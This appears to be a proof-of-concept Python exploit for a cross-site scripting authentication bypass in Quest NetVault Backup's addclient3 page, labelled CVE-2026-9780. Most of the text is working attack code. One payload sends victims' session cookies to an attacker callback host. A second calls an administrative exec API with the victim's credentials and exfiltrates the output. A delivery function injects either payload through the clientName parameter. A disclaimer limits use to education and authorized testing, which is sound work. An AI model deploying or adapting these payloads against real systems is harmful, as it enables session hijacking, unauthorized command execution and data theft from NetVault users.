CVE-2026-9780 Quest NetVault Backup addclient3 XSS认证绕过漏洞

# CVE-2026-9780 PoC - Quest NetVault Backup addclient3 XSS Authentication Bypass # ZDI-CAN-27666 / ZDI-26-369 # WARNING: This PoC is for educational and authorized testing purposes only. import requests from urllib.parse import quote TARGET_URL = "https://target-host:8443" NETVAULT_PATH = "/addclient3" def craft_xss_payload(callback_url): """ Craft XSS payload targeting the addclient3 page parameter. The payload attempts to steal session cookies and forward them to the attacker's controlled server. """ # XSS payload to exfiltrate session cookies payload = ( f"<script>" f"var img=new Image();" f"img.src='{callback_url}/steal?c='+encodeURIComponent(document.cookie);" f"</script>" ) return payload def craft_auth_bypass_payload(callback_url): """ Craft payload combining XSS with authentication bypass. Attempts to call administrative functions via the management API using the victim's authenticated session context. """ payload = ( f"<script>" f"fetch('{TARGET_URL}/api/admin/exec', {{" f" method:'POST'," f" credentials:'include'," f" body:JSON.stringify({{cmd:'whoami'}})," f" headers:{{'Content-Type':'application/json'}}" f"}}).then(r=>r.text()).then(d=>fetch('{callback_url}/exfil?d='+btoa(d)));" f"</script>" ) return payload def deliver_payload(target_url, payload): """ Deliver the XSS payload via the vulnerable addclient3 endpoint. """ params = { "clientName": payload, "action": "add" } try: response = requests.get( f"{target_url}{NETVAULT_PATH}", params=params, verify=False, timeout=10 ) print(f"[+] Payload delivered to {target_url}") print(f"[+] Response status: {response.status_code}") return response except Exception as e: print(f"[-] Error delivering payload: {e}") return None if __name__ == "__main__": CALLBACK = "http://attacker-server:8080" xss = craft_xss_payload(CALLBACK) bypass = craft_auth_bypass_payload(CALLBACK) print(f"[*] XSS Payload: {xss}") print(f"[*] Auth Bypass Payload: {bypass}") # deliver_payload(TARGET_URL, xss)